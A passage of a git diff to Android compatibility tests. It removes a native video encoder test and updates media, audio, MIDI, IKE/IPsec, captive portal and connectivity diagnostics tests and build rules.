-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.RandomAccessFile;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.UUID;
-
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class NativeEncoderTest extends MediaPlayerTestBase {
-    private static final String TAG = "NativeEncoderTest";
-    private static Resources mResources;
-
-    private static final String MIME_AVC = "video/avc";
-    private static final String MIME_HEVC = "video/hevc";
-    private static final String MIME_VP8 = "video/x-vnd.on2.vp8";
-
-    private static int mResourceVideo720p;
-    private static int mResourceVideo360p;
-
-    static {
-        System.loadLibrary("ctsmediacodec_jni");
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResources = mContext.getResources();
-
-        mResourceVideo720p =
-                R.raw.bbb_s4_1280x720_webm_vp8_8mbps_30fps_opus_mono_64kbps_48000hz;
-        mResourceVideo360p =
-                R.raw.bbb_s1_640x360_webm_vp8_2mbps_30fps_vorbis_5ch_320kbps_48000hz;
-    }
-
-
-    private boolean testEncode(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeSurfaceH264720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc720p() throws Exception {
-        boolean status = testEncode(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceH264360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceVp8360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeSurfaceHevc360p() throws Exception {
-        boolean status = testEncode(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicSyncFrame(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicSyncFrameNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicSyncFrameNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicSyncFrameH264720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc720p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameH264360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_AVC, 640,  360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameVp8360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicSyncFrameHevc360p() throws Exception {
-        boolean status = testEncodeDynamicSyncFrame(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodeDynamicBitrate(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodeSurfaceDynamicBitrateNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-    private static native boolean testEncodeSurfaceDynamicBitrateNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodeDynamicBitrateH264720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_VP8, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc720p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo720p, MIME_HEVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateH264360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_AVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateVp8360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodeDynamicBitrateHevc360p() throws Exception {
-        boolean status = testEncodeDynamicBitrate(mResourceVideo360p, MIME_HEVC, 640, 360);
-        assertTrue("native encode error", status);
-    }
-
-
-    private boolean testEncodePersistentSurface(int res, String mime, int width, int height) {
-        AssetFileDescriptor fd = mResources.openRawResourceFd(res);
-
-        return testEncodePersistentSurfaceNative(
-            fd.getParcelFileDescriptor().getFd(), fd.getStartOffset(), fd.getLength(),
-            mime, width, height);
-    }
-
-    private static native boolean testEncodePersistentSurfaceNative(int fd, long offset, long size,
-            String mime, int width, int height);
-
-    public void testEncodePersistentSurface720p() throws Exception {
-        boolean status = testEncodePersistentSurface(mResourceVideo720p, MIME_AVC, 1280, 720);
-        assertTrue("native encode error", status);
-    }
-    public void testEncodePersistentSurface360p() throws Exception {
-        boolean status = testEncodePersistentSurface(mResourceVideo360p, MIME_VP8, 640, 360);
-        assertTrue("native encode error", status);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
index 097fe69..f15bb6e 100644
--- a/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
+++ b/tests/tests/media/src/android/media/cts/SurfaceEncodeTimestampTest.java
@@ -27,6 +27,7 @@
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaFormat;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -38,6 +39,7 @@
 import android.util.Log;
 
 import androidx.test.filters.SmallTest;
+import androidx.test.filters.SdkSuppress;
 
 import java.util.Arrays;
 import java.util.concurrent.CountDownLatch;
@@ -153,6 +155,7 @@
      * compress) the output timestamp so that the output fps becomes that specified
      * by  KEY_FRAME_RATE.
      */
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
     public void testCaptureFps() throws Throwable {
         // test slow motion
         testCaptureFps(120, false /*useFloatKey*/);
diff --git a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
index 82c8b18..7ba3541 100644
--- a/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VideoCodecTestBase.java
@@ -832,8 +832,9 @@
             if (out.outputGenerated) {
                 if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                     Log.d(TAG, "Storing codec config separately");
-                    mCodecConfigs.add(
-                            ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    mCodecConfigs.add(csdBuffer);
                     out.buffer = new byte[0];
                 }
                 if (out.buffer.length > 0) {
@@ -1480,8 +1481,9 @@
                 }
                 if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                     Log.d(TAG, "Storing codec config separately");
-                    codecConfigs.add(
-                            ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                    csdBuffer.rewind();
+                    codecConfigs.add(csdBuffer);
                     out.buffer = new byte[0];
                 }
 
@@ -1786,8 +1788,9 @@
                     }
                     if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
                         Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
-                        codecConfigs.get(i).add(
-                                ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+                        ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
+                        csdBuffer.rewind();
+                        codecConfigs.get(i).add(csdBuffer);
                         out.buffer = new byte[0];
                     }
 
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 79cd3f6..4d9194f 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -274,8 +274,14 @@
 
         AAudioStreamBuilder_setUsage(aaudioBuilder, systemUsage);
 
-        // Get failed status when trying to create an AAudioStream using the Builder.
-        ASSERT_EQ(AAUDIO_ERROR_ILLEGAL_ARGUMENT, AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream));
+        aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+
+        // Get failed status when trying to create an AAudioStream using the Builder. There are two
+        // potential failures: one if the device doesn't support the system usage, and the  other
+        // if it does but this test doesn't have the MODIFY_AUDIO_ROUTING permission required to
+        // use it.
+        ASSERT_TRUE(result == AAUDIO_ERROR_ILLEGAL_ARGUMENT
+                || result == AAUDIO_ERROR_INTERNAL);
         AAudioStreamBuilder_delete(aaudioBuilder);
     }
 }
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index 32e46ac..62cc8a1 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -218,7 +218,6 @@
     @Before
     public void setUp() throws Exception {
         if (!hasMidiSupport()) {
-            Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
             return; // Not supported so don't test it.
         }
 
@@ -231,7 +230,6 @@
     @After
     public void tearDown() throws Exception {
         if (!hasMidiSupport()) {
-            Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
             return; // Not supported so don't test it.
         }
         tearDownEchoServer();
@@ -256,6 +254,9 @@
 
     @Test
     public void test_AA_LibAMidiExists() throws Exception {
+        if (!hasMidiSupport()) {
+            return;
+        }
         Assert.assertTrue("libamidi.so not found.", hasLibAMidi());
     }
 
@@ -274,7 +275,6 @@
         long timestamp = 0x0123765489ABFEDCL;
         writeMidi(mTestContext, buffer, 0, buffer.length);
 
-        Assert.assertTrue("Didn't get 1 send", getNumBytesSent(mTestContext) == buffer.length);
         Assert.assertEquals("Didn't get right number of bytes sent",
                 buffer.length, getNumBytesSent(mTestContext));
     }
diff --git a/tests/tests/net/Android.bp b/tests/tests/net/Android.bp
index 052ab26..112799b 100644
--- a/tests/tests/net/Android.bp
+++ b/tests/tests/net/Android.bp
@@ -36,19 +36,20 @@
         "src/**/*.java",
         "src/**/*.kt",
     ],
-
+    jarjar_rules: "jarjar-rules-shared.txt",
     static_libs: [
         "FrameworksNetCommonTests",
         "TestNetworkStackLib",
-        "core-tests-support",
         "compatibility-device-util-axt",
+        "core-tests-support",
         "cts-net-utils",
         "ctstestrunner-axt",
         "ctstestserver",
-        "mockwebserver",
         "junit",
         "junit-params",
         "libnanohttpd",
+        "mockwebserver",
+        "net-utils-framework-common",
         "truth-prebuilt",
     ],
 
@@ -72,15 +73,15 @@
     test_config_template: "AndroidTestTemplate.xml",
 }
 
-// Networking CTS tests that have a min_sdk_version of the latest released SDK. These tests can
-// be installed on release devices at any point in the release cycle and are useful for qualifying
-// mainline modules on release devices.
+// Networking CTS tests that target the latest released SDK. These tests can be installed on release
+// devices at any point in the Android release cycle and are useful for qualifying mainline modules
+// on release devices.
 android_test {
     name: "CtsNetTestCasesLatestSdk",
     defaults: ["CtsNetTestCasesDefaults"],
     jni_uses_sdk_apis: true,
     min_sdk_version: "29",
-    target_sdk_version: "29",
+    target_sdk_version: "30",
     test_suites: [
         "device-tests",
         "mts",
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
index 0509fc0..13f953a 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionPskTest.java
@@ -18,13 +18,14 @@
 
 import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
 import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_AUTHENTICATION_FAILED;
-import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_INTERNAL_ADDRESS_FAILURE;
 import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_NO_PROPOSAL_CHOSEN;
+import static android.net.ipsec.ike.exceptions.IkeProtocolException.ERROR_TYPE_TS_UNACCEPTABLE;
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 
 import android.net.LinkAddress;
+import android.net.ipsec.ike.ChildSessionParams;
 import android.net.ipsec.ike.IkeFqdnIdentification;
 import android.net.ipsec.ike.IkeSession;
 import android.net.ipsec.ike.IkeSessionParams;
@@ -84,7 +85,15 @@
                     + "9352D71100777B00ABCC6BD7DBEA697827FFAAA48DF9A54D1D68161939F5DC8"
                     + "6743A7CEB2BE34AC00095A5B8";
 
-    private IkeSession openIkeSessionWithRemoteAddress(InetAddress remoteAddress) {
+    private IkeSession openIkeSessionWithTunnelModeChild(InetAddress remoteAddress) {
+        return openIkeSession(remoteAddress, buildTunnelModeChildSessionParams());
+    }
+
+    private IkeSession openIkeSessionWithTransportModeChild(InetAddress remoteAddress) {
+        return openIkeSession(remoteAddress, buildTransportModeChildParamsWithDefaultTs());
+    }
+
+    private IkeSession openIkeSession(InetAddress remoteAddress, ChildSessionParams childParams) {
         IkeSessionParams ikeParams =
                 new IkeSessionParams.Builder(sContext)
                         .setNetwork(mTunNetwork)
@@ -98,7 +107,7 @@
         return new IkeSession(
                 sContext,
                 ikeParams,
-                buildTunnelModeChildSessionParams(),
+                childParams,
                 mUserCbExecutor,
                 mIkeSessionCallback,
                 mFirstChildSessionCallback);
@@ -124,7 +133,7 @@
         if (!hasTunnelsFeature()) return;
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
         performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
 
         // IKE INIT and IKE AUTH takes two exchanges. Message ID starts from 2
@@ -222,7 +231,7 @@
         setUpTestNetwork(mLocalAddress);
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
         performSetupIkeAndFirstChildBlocking(
                 ikeInitResp,
                 1 /* expectedAuthReqPktCnt */,
@@ -258,7 +267,7 @@
         if (!hasTunnelsFeature()) return;
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTunnelModeChild(mRemoteAddress);
         performSetupIkeAndFirstChildBlocking(SUCCESS_IKE_INIT_RESP, SUCCESS_IKE_AUTH_RESP);
 
         ikeSession.kill();
@@ -272,7 +281,7 @@
                 "46B8ECA1E0D72A180000000000000000292022200000000000000024000000080000000E";
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
         int expectedMsgId = 0;
         mTunUtils.awaitReqAndInjectResp(
                 IKE_DETERMINISTIC_INITIATOR_SPI,
@@ -309,7 +318,7 @@
                         + "AB6E4808BAC0CA1DAD6ADD0A126A41BD";
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
         performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthFailRespHex);
 
         mFirstChildSessionCallback.awaitOnClosed();
@@ -322,27 +331,28 @@
     @Test
     public void testIkeAuthHandlesFirstChildCreationFail() throws Exception {
         final String ikeInitRespHex =
-                "46B8ECA1E0D72A182B300285DA19E6452120222000000000000001502200"
-                        + "00300000002C010100040300000C0100000C800E01000300000803000005"
-                        + "0300000802000004000000080400000228000088000200005C9DE629981F"
-                        + "DB1FC45DB6CCF15D076C1F51BD9F63C771DC089F05CCDE6247965D15C616"
-                        + "C7B5A62342491715E4D1FEA19326477D24143E8E56AB6AD93F54B19BC32A"
-                        + "44BC0A5B5632E57D0A3C43E466E1547D8E4EF65EA4B864A348161666E229"
-                        + "84975A486251A17C4F096A6D5CF3DB83874B70324A31AA7ADDE2D73BADD8"
-                        + "238029000024CF06260F7C4923295E7C91F2B8479212892DA7A519A0322F"
-                        + "F5B2BF570B92972B2900001C00004004C7ACC2C7D58CF8C9F5E953993AF4"
-                        + "6CAC976635B42900001C00004005B64B190DFE7BDE8B9B1475EDE67B63D6"
-                        + "F1DBBF44290000080000402E290000100000402F00020003000400050000"
+                "46B8ECA1E0D72A18F5ABBF896A1240BE2120222000000000000001502200"
+                        + "00300000002C010100040300000C0100000C800E0100030000080300000C"
+                        + "03000008020000050000000804000002280000880002000074950F016B85"
+                        + "605E57E24651843AB70E41B552EDEE227DFE51E6CBEC00E75FFEFC7D5453"
+                        + "109B15F721FCD811FC9F113BE06050882F2FC5F5FF25857E555CCFB5AB64"
+                        + "8B0D1D7A819A3B05DE1FE89A4A627C60D5AA06CD0F66ACD3748722F9CD4F"
+                        + "F30AE7477CBC12049821F07AD6C9F0ED732321A6A36FA817722E025AC34B"
+                        + "ABE62900002432E3807F595070E95EDA341A787599B24B1151B535B0222B"
+                        + "65C003401B9B38F82900001C000040043BB760DB3037B51768DFFAB4B21D"
+                        + "B1716EA1C1382900001C0000400531098EB04DF1BE3F304606BD59B454A8"
+                        + "CC7E7311290000080000402E290000100000402F00020003000400050000"
                         + "000800004014";
         final String ikeAuthCreateChildFailHex =
-                "46B8ECA1E0D72A182B300285DA19E6452E202320000000010000008C2400"
-                        + "0070386FC9CCC67495A17915D0544390A2963A769F4A42C6FA668CEEC07F"
-                        + "EC0C87D681DE34267023DD394F1401B5A563E71002C0CE0928D0ABC0C4570"
-                        + "E39C2EDEF820F870AB71BD70A3F3EB5C96CA294B6D3F01677690DCF9F8CFC"
-                        + "9584650957573502BA83E32F18207A9ADEB1FA";
+                "46B8ECA1E0D72A18F5ABBF896A1240BE2E20232000000001000000B02400"
+                        + "009400B0861242E0C88ECB3848D772B560CAD65B6AC9DFFDC8622A394B8E"
+                        + "64E550BDD69FCD7E768129787ED9062992C1D6DB0F0631C2E05765B403CF"
+                        + "EF1D0A055B32F6698FF7DB5B8FB1B6A83A81634D00E22C86E35B3BFBEC73"
+                        + "EAC6806678926945BC7A57003DC1A3528A1EC423EE56C1075B36C0B57A6B"
+                        + "C6DD990182F6FABFFA167D199C7D629E5B830AAD2AFBD31CEBA6";
 
         // Open IKE Session
-        IkeSession ikeSession = openIkeSessionWithRemoteAddress(mRemoteAddress);
+        IkeSession ikeSession = openIkeSessionWithTransportModeChild(mRemoteAddress);
         performSetupIkeAndFirstChildBlocking(ikeInitRespHex, ikeAuthCreateChildFailHex);
 
         // Even though the child creation failed, the authentication succeeded, so the IKE Session's
@@ -352,7 +362,7 @@
         // Verify Child Creation failed
         IkeProtocolException protocolException =
                 (IkeProtocolException) mFirstChildSessionCallback.awaitOnClosedException();
-        assertEquals(ERROR_TYPE_INTERNAL_ADDRESS_FAILURE, protocolException.getErrorType());
+        assertEquals(ERROR_TYPE_TS_UNACCEPTABLE, protocolException.getErrorType());
         assertArrayEquals(EXPECTED_PROTOCOL_ERROR_DATA_NONE, protocolException.getErrorData());
 
         ikeSession.kill();
diff --git a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
index 2458b25..a81063b 100644
--- a/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
+++ b/tests/tests/net/ipsec/src/android/net/ipsec/ike/cts/IkeSessionTestBase.java
@@ -276,6 +276,13 @@
                 .build();
     }
 
+    TransportModeChildSessionParams buildTransportModeChildParamsWithDefaultTs() {
+        return new TransportModeChildSessionParams.Builder()
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithCombinedModeCipher())
+                .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
+                .build();
+    }
+
     TunnelModeChildSessionParams buildTunnelModeChildSessionParams() {
         return new TunnelModeChildSessionParams.Builder()
                 .addSaProposal(SaProposalTest.buildChildSaProposalWithNormalModeCipher())
diff --git a/tests/tests/net/jarjar-rules-shared.txt b/tests/tests/net/jarjar-rules-shared.txt
new file mode 100644
index 0000000..11dba74
--- /dev/null
+++ b/tests/tests/net/jarjar-rules-shared.txt
@@ -0,0 +1,2 @@
+# Module library in frameworks/libs/net
+rule com.android.net.module.util.** android.net.cts.util.@1
\ No newline at end of file
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
index 68d5281..ef2b0ce 100644
--- a/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalApiTest.kt
@@ -35,8 +35,6 @@
 import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_DISCOVER
 import android.net.dhcp.DhcpPacket.DHCP_MESSAGE_TYPE_REQUEST
 import android.net.dhcp.DhcpRequestPacket
-import android.net.shared.Inet4AddressUtils.getBroadcastAddress
-import android.net.shared.Inet4AddressUtils.getPrefixMaskAsInet4Address
 import android.os.Build
 import android.os.HandlerThread
 import android.platform.test.annotations.AppModeFull
@@ -44,6 +42,8 @@
 import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingRunnable
+import com.android.net.module.util.Inet4AddressUtils.getBroadcastAddress
+import com.android.net.module.util.Inet4AddressUtils.getPrefixMaskAsInet4Address
 import com.android.server.util.NetworkStackConstants.IPV4_ADDR_ANY
 import com.android.testutils.DevSdkIgnoreRule
 import com.android.testutils.DhcpClientPacketFilter
diff --git a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
index 0816aba..4a7d38a1 100644
--- a/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
+++ b/tests/tests/net/src/android/net/cts/CaptivePortalTest.kt
@@ -41,6 +41,7 @@
 import androidx.test.platform.app.InstrumentationRegistry.getInstrumentation
 import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil
+import com.android.testutils.isDevSdkInRange
 import fi.iki.elonen.NanoHTTPD
 import fi.iki.elonen.NanoHTTPD.Response.IStatus
 import fi.iki.elonen.NanoHTTPD.Response.Status
@@ -105,6 +106,9 @@
     @After
     fun tearDown() {
         clearTestUrls()
+        if (pm.hasSystemFeature(FEATURE_WIFI)) {
+            reconnectWifi()
+        }
         server.stop()
     }
 
@@ -167,7 +171,7 @@
             assertNotEquals(network, cm.activeNetwork, wifiDefaultMessage)
 
             val startPortalAppPermission =
-                    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.Q) CONNECTIVITY_INTERNAL
+                    if (isDevSdkInRange(0, Build.VERSION_CODES.Q)) CONNECTIVITY_INTERNAL
                     else NETWORK_SETTINGS
             doAsShell(startPortalAppPermission) { cm.startCaptivePortalApp(network) }
             assertTrue(portalContentRequestCv.block(TEST_TIMEOUT_MS), "The captive portal login " +
@@ -180,9 +184,6 @@
             // disconnectFromCell should be called after connectToCell
             utils.disconnectFromCell()
         }
-
-        clearTestUrls()
-        reconnectWifi()
     }
 
     private fun setHttpsUrl(url: String?) = setConfig(TEST_CAPTIVE_PORTAL_HTTPS_URL_SETTING, url)
@@ -203,10 +204,8 @@
     }
 
     private fun reconnectWifi() {
-        doAsShell(NETWORK_SETTINGS) {
-            assertTrue(wm.disconnect())
-            assertTrue(wm.reconnect())
-        }
+        utils.ensureWifiDisconnected(null /* wifiNetworkToCheck */)
+        utils.ensureWifiConnected()
     }
 
     /**
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
index 0248f97..8f42f79 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityDiagnosticsManagerTest.java
@@ -16,6 +16,7 @@
 
 package android.net.cts;
 
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityDiagnosticsCallback;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport;
 import static android.net.ConnectivityDiagnosticsManager.ConnectivityReport.KEY_NETWORK_PROBES_ATTEMPTED_BITMASK;
@@ -31,9 +32,11 @@
 import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_TEST;
 import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
 
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
@@ -41,9 +44,15 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.annotation.NonNull;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityDiagnosticsManager;
 import android.net.ConnectivityManager;
 import android.net.LinkAddress;
@@ -55,25 +64,39 @@
 import android.os.Binder;
 import android.os.Build;
 import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
 import android.os.PersistableBundle;
 import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
 import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.internal.telephony.uicc.IccUtils;
+import com.android.internal.util.ArrayUtils;
 import com.android.testutils.ArrayTrackRecord;
 import com.android.testutils.DevSdkIgnoreRule.IgnoreUpTo;
 import com.android.testutils.DevSdkIgnoreRunner;
+import com.android.testutils.SkipPresubmit;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.security.MessageDigest;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(DevSdkIgnoreRunner.class)
 @IgnoreUpTo(Build.VERSION_CODES.Q) // ConnectivityDiagnosticsManager did not exist in Q
+@AppModeFull(reason = "CHANGE_NETWORK_STATE, MANAGE_TEST_NETWORKS not grantable to instant apps")
 public class ConnectivityDiagnosticsManagerTest {
     private static final int CALLBACK_TIMEOUT_MILLIS = 5000;
     private static final int NO_CALLBACK_INVOKED_TIMEOUT = 500;
@@ -83,6 +106,8 @@
     private static final int FAIL_RATE_PERCENTAGE = 100;
     private static final int UNKNOWN_DETECTION_METHOD = 4;
     private static final int FILTERED_UNKNOWN_DETECTION_METHOD = 0;
+    private static final int CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT = 5000;
+    private static final int DELAY_FOR_ADMIN_UIDS_MILLIS = 2000;
 
     private static final Executor INLINE_EXECUTOR = x -> x.run();
 
@@ -93,44 +118,71 @@
                     .removeCapability(NET_CAPABILITY_NOT_VPN)
                     .build();
 
-    // Callback used to keep TestNetworks up when there are no other outstanding NetworkRequests
